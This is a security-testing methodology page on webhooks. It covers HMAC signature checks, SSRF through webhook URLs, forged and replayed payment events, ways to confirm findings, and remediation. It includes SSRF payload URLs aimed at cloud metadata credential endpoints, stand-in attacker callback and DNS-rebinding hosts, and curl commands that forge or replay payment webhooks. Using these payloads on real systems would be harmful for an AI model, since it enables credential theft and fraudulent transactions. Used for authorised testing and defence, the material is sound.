Webhook Security Testing
Webhooks are HTTP callbacks that send real-time notifications between applications. They are commonly used for payment notifications, CI/CD triggers, and service integrations. Insecure webhook implementations can be exploited for SSRF, replay attacks, data manipulation, and unauthorized triggers.
Frameworks: WSTG n/a (closest: WSTG-INPV-19) · ASVS 5.0 V9.1.1 (also V13.2.1) · CWE-347, CWE-345, CWE-294 · T1190
Where Webhook Trust Actually Lives
A webhook is a POST your application did not ask for. There is no cookie, no CSRF token and no same-origin policy to lean on, so whatever authenticates the request must be inside it: an HMAC header, a timestamp, an IP allowlist. If none is checked, the endpoint is a public write primitive into your business logic.
Three risks follow, independently: forgery (a body you wrote is accepted), replay (a valid body is accepted twice) and SSRF (the callback URL is fetched from inside). Forgery and replay need only that the endpoint is internet-reachable. SSRF needs control of the destination URL and a network position that can reach internal names — a webhook can verify every signature and still be an SSRF sink.
What a Signature Proves
A signature binds a secret to an exact byte string: HMAC over the raw body, constant-time compare,
then a separate timestamp check. The HMAC stops forgery; the timestamp stops replay. Stripe signs
the timestamp, a dot and the body into Stripe-Signature and allows five minutes by
default — its docs warn that a tolerance of 0 disables the recency check rather than
tightening it. GitHub sends X-Hub-Signature-256: sha256=…; Standard Webhooks sends
webhook-id, webhook-timestamp and webhook-signature.
Verification must read the raw body: parse-and-re-serialise changes key order and whitespace and breaks the HMAC. If your re-encoded body still verifies, the app is not hashing what the provider signed. HTTPS is not verification — TLS proves you reached the right host, not who sent the request.
Webhook SSRF
First prove the app makes an outbound request: point the URL at a Collaborator or interactsh host and watch for the hit. A positive result returns data you could not otherwise read — an IMDS credential document, an internal admin page. A request that arrives while its response never reaches you proves egress, not SSRF.
# If the application lets you configure a webhook URL:
# Point it to internal services!
# Test with Burp Collaborator or interactsh-client (app.interactsh.com):
Webhook URL: https://ATTACKER_SERVER/callback
# Confirm the application makes outbound requests
# Then try SSRF:
Webhook URL: http://127.0.0.1:80/
Webhook URL: http://localhost:8080/admin
Webhook URL: http://169.254.169.254/latest/meta-data/ # AWS metadata
Webhook URL: http://[::1]:80/
Webhook URL: http://internal-api.local/
# Cloud metadata endpoints:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS
http://metadata.google.internal/computeMetadata/v1/ # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Azure (requires header: Metadata: true)
# Azure IMDS also rejects requests carrying an X-Forwarded-For header,
# so the SSRF sink must be able to set headers — a bare URL is not enough.
# DNS rebinding to bypass allowlist:
# Register a domain that alternates between external IP and 127.0.0.1
Webhook URL: http://rebind.attacker.com/callbackWebhook Authentication Bypass
Three requests separate the cases. A schema-valid event with no signature header, answered 2xx with a state change, means delivery is unauthenticated. The same event with a wrong signature, answered 2xx, means the header is read but never verified. The provider's own captured request is the control. Mirror the documented envelope: a flat body rejected before the payment logic looks like a signature failure if you only read the status code.
# If you know the webhook endpoint, try sending forged events:
# Payment webhook forgery (e.g., Stripe-like):
curl -X POST https://target.com/webhooks/payment \
-H 'Content-Type: application/json' \
-d '{"event": "payment.completed", "amount": 9999, "order_id": "ORD-123"}'
# Check if the application verifies signatures:
# Stripe uses Stripe-Signature header
# GitHub uses X-Hub-Signature-256 header
# If signature verification is missing, you can forge any event!
# Test without signature header:
curl -X POST https://target.com/webhooks/github \
-H 'Content-Type: application/json' \
-d '{"action": "completed", "deployment": {"environment": "production"}}'
# Test with incorrect signature:
curl -X POST https://target.com/webhooks/payment \
-H 'Stripe-Signature: t=123,v1=invalid_signature' \
-H 'Content-Type: application/json' \
-d '{"type": "checkout.session.completed"}'Replay Attacks
Replay works where the signature covers the body but not freshness. Capture one real delivery — the provider's "resend" feature gives a byte-exact copy — then re-send those bytes with that header. A positive result is a second state transition, not a 2xx. If a duplicate is rejected, check which control did it: an idempotency table stops redelivery, but only a signature timestamp stops reuse after those rows expire.
# Capture a legitimate webhook payload and replay it:
# Step 1: Capture the webhook request (use request bin or Burp)
# Step 2: Replay it multiple times:
for i in $(seq 1 10); do
curl -X POST https://target.com/webhooks/payment \
-H 'Content-Type: application/json' \
-H 'Stripe-Signature: CAPTURED_VALID_SIGNATURE' \
-d '{"type": "checkout.session.completed", "data": {"amount": 100}}'
echo "Replay $i sent"
done
# If successful:
# - Payment processed 10 times
# - Inventory decremented 10 times
# - Notifications sent 10 times
# Defense should include:
# - Timestamp validation (reject events older than 5 minutes)
# - Idempotency keys (reject duplicate event IDs)
# - Monotonic counters (reject out-of-order events)Confirming the Finding
Pin three facts: which control is missing, what state changed, and what the provider's docs say it should do. Observe the change in the application, not in the status code — a 200 from a queue that later drops the event is not exploitable. Repeat the accepted request without the header so the difference fits in one screenshot.
# 1. Does the endpoint accept a body the provider never signed?
curl -sS -o /dev/null -w '%{http_code}\n' -X POST https://target.com/webhooks/payment \
-H 'Content-Type: application/json' \
-d '{"type":"checkout.session.completed","data":{"object":{"id":"ORD-123","amount_total":100}}}'
# 2. Is the signed timestamp enforced?
date -u +%s
# Resend the captured delivery with its original Stripe-Signature header and note
# whether the application processes it or answers with a freshness error.
# 3. Is the HMAC taken over the raw body?
# Re-encode the captured JSON (key order, whitespace) and replay with the original header.
jq -c . captured-body.json > reserialised.jsonTesting Checklist
- ☐ 1. Identify all webhook endpoints (config pages, API docs, JS source)
- ☐ 2. Test webhook URL for SSRF (internal IPs, cloud metadata)
- ☐ 3. Test if webhooks verify signatures or can be forged
- ☐ 4. Replay captured webhook payloads for duplicate processing
- ☐ 5. Test with modified payloads (change amounts, status, user IDs)
- ☐ 6. Check if webhook secrets are exposed in configuration
- ☐ 7. Test webhook URL scheme restrictions (file://, gopher://, dict://)
- ☐ 8. Confirm the signature is computed over the raw body — re-serialise the JSON (different key order or whitespace) and replay it with the original header
- ☐ 9. Check whether a stale timestamp is rejected: replay a captured event with a timestamp older than the documented tolerance
Evidence Collection
SSRF: Request showing webhook to internal endpoint, response with internal data
Forgery: Unsigned webhook request accepted by the application
Replay: Multiple successful processing of the same webhook event
Signature Enforcement: Three requests side by side: no signature header, one-byte-modified signature, and the untouched capture — with the application's response to each
Timestamp Delta: Captured signature timestamp versus the server clock at delivery, with the documented tolerance from the provider's docs
CVSS Range: SSRF: 6.5–9.1 | Forgery: 7.5–8.6 | Replay: 5.3–7.5
Remediation
- • Verify signatures: Always verify webhook signatures using HMAC-SHA256 with a shared secret.
- • Validate timestamps: Reject webhook events older than 5 minutes to prevent replay.
- • Idempotency: Track event IDs and reject duplicates.
- • URL allowlist: Restrict webhook destination URLs to known-good domains/IPs.
- • Block internal IPs: Deny webhook URLs pointing to RFC 1918, loopback, and metadata endpoints.
- • Verify before parsing: Run HMAC over the raw request body and reject before any JSON parser, ORM hook or middleware re-encodes it.
- • Compare in constant time: Use a constant-time comparison for the signature, and accept a list of signatures so endpoint secrets can be rotated without downtime.
False Positive Identification
- Webhook to internal IP blocked: The server may accept the webhook URL but the actual HTTP request is blocked by network policy — verify the request actually reaches internal resources.
- Unsigned webhooks by design: Some webhook providers don't sign payloads — check if the application has alternative verification (IP allowlisting, mutual TLS).
- Replay window as feature: Some systems allow webhook re-delivery for reliability — verify there's no nonce/timestamp check rather than reporting re-delivery as a vulnerability.
- Rejected by signature, not by input validation: A 400 on your forged event proves nothing if the handler rejects the body shape first. Send a schema-valid event with no signature header — only a 2xx plus a state change confirms missing verification.
- Signature checked at the edge: The application may not contain verification code because an API gateway or mesh sidecar validates the signature before forwarding. Look for the secret in infrastructure config before reporting the app.